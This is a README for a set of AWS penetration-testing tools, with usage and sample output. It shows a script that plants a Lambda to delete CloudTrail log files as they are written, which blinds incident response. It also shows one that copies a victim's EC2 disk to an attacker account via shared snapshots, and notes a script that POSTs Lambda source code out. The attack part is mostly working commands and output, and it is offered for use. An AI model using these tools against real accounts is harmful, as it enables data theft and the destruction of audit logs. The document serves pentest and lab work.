252 lines
12 KiB
Markdown
252 lines
12 KiB
Markdown
|
|
## AWS-related penetration testing scripts, tools and Cheatsheets
|
|
|
|
- **`disruptCloudTrailByS3Lambda.py`** - This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object. No object, no logs. No logs, no Incident Response :-)
|
|
|
|
One will need to pass AWS credentials to this tool. Also, the account affected should have at least following permissions:
|
|
- `iam:CreateRole`
|
|
- `iam:CreatePolicy`
|
|
- `iam:AttachRolePolicy`
|
|
- `lambda:CreateFunction`
|
|
- `lambda:AddPermission`
|
|
- `s3:PutBucketNotification`
|
|
|
|
These are the changes to be introduced within a specified AWS account:
|
|
- IAM role will be created, by default with name: `cloudtrail_helper_role`
|
|
- IAM policy will be created, by default with name: `cloudtrail_helper_policy`
|
|
- Lambda function will be created, by default with name: `cloudtrail_helper_function`
|
|
- Put Event notification will be configured on affected CloudTrail S3 buckets.
|
|
|
|
This tool will fail upon first execution with the following exception:
|
|
|
|
```
|
|
[-] Could not create a Lambda function: An error occurred (InvalidParameterValueException) when calling the CreateFunction operation: The role defined for the function cannot be assumed by Lambda.
|
|
```
|
|
|
|
At the moment I did not find an explanation for that, but running the tool again with the same set of parameters - get the job done.
|
|
|
|
```
|
|
bash $ python3 disruptCloudTrailByS3Lambda.py --help
|
|
|
|
:: AWS CloudTrail disruption via S3 Put notification to Lambda
|
|
Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
|
|
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
|
|
|
usage: disruptCloudTrailByS3Lambda.py [options] <region> [trail_name]
|
|
|
|
required arguments:
|
|
region AWS region to use.
|
|
--access-key ACCESS_KEY
|
|
AWS Access Key ID
|
|
--secret-key SECRET_KEY
|
|
AWS Access Key ID
|
|
--token TOKEN AWS temporary session token
|
|
|
|
optional arguments:
|
|
trail_name CloudTrail name that you want to disrupt. If not
|
|
specified, will disrupt every actively logging trail.
|
|
--disrupt By default, this tool will install Lambda that is only
|
|
logging that it could remove S3 objects. By using this
|
|
switch, there is going to be Lambda introduced that
|
|
actually deletes objects.
|
|
--role-name ROLE_NAME
|
|
name for AWS Lambda role
|
|
--policy-name POLICY_NAME
|
|
name for a policy for that Lambda role
|
|
--function-name FUNCTION_NAME
|
|
name for AWS Lambda function
|
|
|
|
|
|
bash $ python3 disruptCloudTrailByS3Lambda.py --access-key ASIAXXXXXXXXXXXXXXXX --secret-key Gaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa --token FQoGZX[...] us-west-2
|
|
|
|
:: AWS CloudTrail disruption via S3 Put notification to Lambda
|
|
Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
|
|
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
|
|
|
[.] Will be working on Account ID: 712800000000
|
|
[.] Step 1: Determine trail to disrupt
|
|
[+] Trail cloudgoat_trail is actively logging (multi region? No).
|
|
[.] Trails intended to be disrupted:
|
|
- cloudgoat_trail
|
|
|
|
[.] Step 2: Create a role to be assumed by planted Lambda
|
|
[-] Role with name: cloudtrail_helper_role already exists.
|
|
[.] Step 3: Create a policy for that role
|
|
[-] Policy with name: cloudtrail_helper_policy already exists.
|
|
[.] Step 4: Attach policy to the role
|
|
[.] Attaching policy (arn:aws:iam::712800000000:policy/cloudtrail_helper_policy) to the role cloudtrail_helper_role
|
|
[-] Policy is already attached.
|
|
[.] Step 5: Create Lambda function
|
|
[.] Using non-disruptive lambda.
|
|
[.] Creating a lambda function named: cloudtrail_helper_function on Role: arn:aws:iam::712800000000:role/cloudtrail_helper_role
|
|
[+] Function created.
|
|
[.] Step 6: Permit function to be invoked on all trails
|
|
[.] Adding invoke permission to func: cloudtrail_helper_function on S3 bucket: arn:aws:s3:::90112981864022885796153088027941100000000000000000000000
|
|
[.] Step 7: Configure trail bucket's put notification
|
|
[.] Putting a bucket notification configuration to 90112981864022885796153088027941100000000000000000000000, ARN: arn:aws:lambda:us-west-2:712800000000:function:cloudtrail_helper_function
|
|
[+] Installed CloudTrail's S3 bucket disruption Lambda.
|
|
```
|
|
|
|
Afterwards, one should see following logs in CloudWatch traces for planted Lambda function - if no `--disrupt` option was specified:
|
|
|
|
```
|
|
[*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz)
|
|
```
|
|
|
|
- **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies, goes through all of granted permissions and lists those that are known for Privilege Escalation risks. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18)
|
|
|
|
- **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image.
|
|
|
|
IAM Permissions abused:
|
|
- `ec2:CreateSnapshot`
|
|
- `ec2:ModifySnapshotAttribute`
|
|
- `ec2:CreateImage`
|
|
|
|
```
|
|
attacker $ python3 ./exfiltrate-ec2.py --help
|
|
|
|
:: exfiltrate-ec2
|
|
Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
|
|
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
|
|
|
usage: ./exfiltrate-ec2.py [-h] [--region REGION] [--profile PROFILE]
|
|
[--access-key ACCESS_KEY] [--secret-key SECRET_KEY]
|
|
[--token TOKEN] [--victim-profile VICTIM_PROFILE]
|
|
[--victim-access-key VICTIM_ACCESS_KEY]
|
|
[--victim-secret-key VICTIM_SECRET_KEY]
|
|
[--victim-token VICTIM_TOKEN] [-v]
|
|
{createimage,createsnapshot} ...
|
|
|
|
positional arguments:
|
|
{createimage,createsnapshot}
|
|
Available methods
|
|
createimage Creates a snapshot of a running or stopped EC2
|
|
instance in an AMI image form. This AMI image will
|
|
then be shared with another AWS account, constituing
|
|
exfiltration opportunity.
|
|
createsnapshot Creates a snapshot of an EBS volume used by an EC2
|
|
instance. This snapshot will then be shared with
|
|
another AWS account, constituing exfiltration
|
|
opportunity.
|
|
|
|
required arguments:
|
|
--region REGION AWS Region to use.
|
|
|
|
optional arguments:
|
|
-v, --verbose Display verbose output.
|
|
|
|
Attacker's AWS credentials - where to instantiate exfiltrated EC2:
|
|
--profile PROFILE Attacker's AWS Profile name to use if --access-key was
|
|
not specified
|
|
--access-key ACCESS_KEY
|
|
Attacker's AWS Access Key ID to use if --profile was
|
|
not specified
|
|
--secret-key SECRET_KEY
|
|
Attacker's AWS Secret Key ID
|
|
--token TOKEN (Optional) Attacker's AWS temporary session token
|
|
|
|
Victim AWS credentials - where to find EC2 to exfiltrate:
|
|
--victim-profile VICTIM_PROFILE
|
|
Victim's AWS Profile name to use if --access-key was
|
|
not specified
|
|
--victim-access-key VICTIM_ACCESS_KEY
|
|
Victim's AWS Access Key ID to use if --profile was not
|
|
specified
|
|
--victim-secret-key VICTIM_SECRET_KEY
|
|
Victim's AWS Secret Key ID
|
|
--victim-token VICTIM_TOKEN
|
|
(Optional) Victim's AWS temporary session token
|
|
|
|
|
|
attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY
|
|
|
|
:: exfiltrate-ec2
|
|
Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
|
|
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
|
|
|
[.] Using attacker's profile: default
|
|
[.] Using victim's profile: victim-profile
|
|
[.] Using region: us-east-1
|
|
[.] Authenticating using Attacker's AWS credentials...
|
|
[.] Authenticating using Victim's AWS credentials...
|
|
[>] Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...
|
|
|
|
[>] Step 1: Creating EBS volume snapshot. VolumeId = vol-0f340890acfXXXXX
|
|
[+] Snapshot of volume vol-0f340890acfXXXXX created: snap-0d7a43f0ff34ZZZZ
|
|
[>] Step 2: Modifying snapshot attributes to share it with UserId = 71284700000
|
|
[+] Snapshot's attributes modified to share it with user 71284700000
|
|
[>] Step 3: Waiting for the snapshot to transit into completed state.
|
|
[>] Step 4: Creating EBS volume in Attacker's 71284700000 AWS account.
|
|
[.] Obtained Attacker's EC2 instance Availbility Zone automatically: us-east-1d
|
|
[+] Created EBS volume (vol-04f36e35abeWWW at Attacker's side out from exfiltrated snapshot (snap-0d7a43f0ff34ZZZZ)
|
|
[>] Step 5: Waiting for the volume to transit into created state.
|
|
[>] Step 6: Attaching created EBS volume to Attacker's specified EC2 instance
|
|
[-] Attacker's machine is in running state, preventing to attach it a volume.
|
|
[.] Trying to stop the EC2 instance, then attach the volume and then restart it.
|
|
[+] Attached volume to the specified Attacker's EC2 instance: i-0b359b0fcbcYYYYY
|
|
[.] Restarting it...
|
|
|
|
===============================================================
|
|
[MODULE FINISHED]
|
|
===============================================================
|
|
|
|
[+] Exfiltrated snapshot of a victim's EBS volume:
|
|
VictimVolumeId = vol-0f340890acfXXXXX
|
|
|
|
[+] By creating a snapshot of it, shared to the attacker's AWS user ID.
|
|
SnapshotId = snap-0d7a43f0ff34ZZZZ
|
|
|
|
If everything went fine, Attacker's AWS account 71284700000 should have a EBS volume now:
|
|
AttackerVolumeId = vol-04f36e35abeWWW
|
|
|
|
That was attached to the specified attacker's EC2 instance:
|
|
AttackerInstanceId = i-0b359b0fcbcYYYYY
|
|
AvailibityZone = us-east-1d
|
|
|
|
Most likely as a '/dev/xvdf' device.
|
|
|
|
===============================================================
|
|
To examine exfiltrated data:
|
|
|
|
0) SSH to the attacker's EC2 instance
|
|
# ssh ec2-user@18.206.230.190
|
|
|
|
1) List block devices mapped:
|
|
# lsblk
|
|
|
|
2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it:
|
|
# mkdir /exfiltrated
|
|
|
|
3) Mount that device's volume:
|
|
# mount /dev/xvdf1 /exfiltrated
|
|
|
|
attacker $ ssh ec2-user@18.206.230.190
|
|
[...]
|
|
ec2-user@ec2instance:~$ sudo -s
|
|
root@ec2instance:/home/ec2-user# lsblk
|
|
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
|
|
xvda 202:0 0 25G 0 disk
|
|
└─xvda1 202:1 0 25G 0 part
|
|
xvdf 202:80 0 25G 0 disk
|
|
└─xvdf1 202:81 0 25G 0 part /
|
|
root@ec2instance:/home/ec2-user# mkdir /exfiltrated
|
|
root@ec2instance:/home/ec2-user# mount /dev/xvda1 /exfiltrated
|
|
root@ec2instance:/home/ec2-user# ls -l /exfiltrated
|
|
total 84
|
|
-rw-r--r-- 1 root root 0 lip 31 2018 0
|
|
lrwxrwxrwx 1 root root 7 sie 17 2018 bin -> usr/bin
|
|
drwxr-xr-x 3 root root 4096 sie 17 2018 boot
|
|
drwxr-xr-x 4 root root 4096 sie 17 2018 dev
|
|
drwxr-xr-x 179 root root 12288 gru 4 16:37 etc
|
|
drwxr-xr-x 3 root root 4096 lis 4 16:18 home
|
|
[...]
|
|
```
|
|
|
|
- **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code.
|
|
|
|
- **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds.
|
|
|
|
- **`identifyS3Bucket.rb`** - This script attempts to identify passed name whether it resolves to a valid AWS S3 Bucket via different means. This script may come handy when revealing S3 buckets hidden behind HTTP proxies.
|
|
|
|
- **`pentest-ec2-instance`** - A set of utilities for quick starting, ssh-ing and stopping of a single temporary EC2 instance intended to be used for Web out-of-band tests (SSRF, reverse-shells, dns/http/other daemons).
|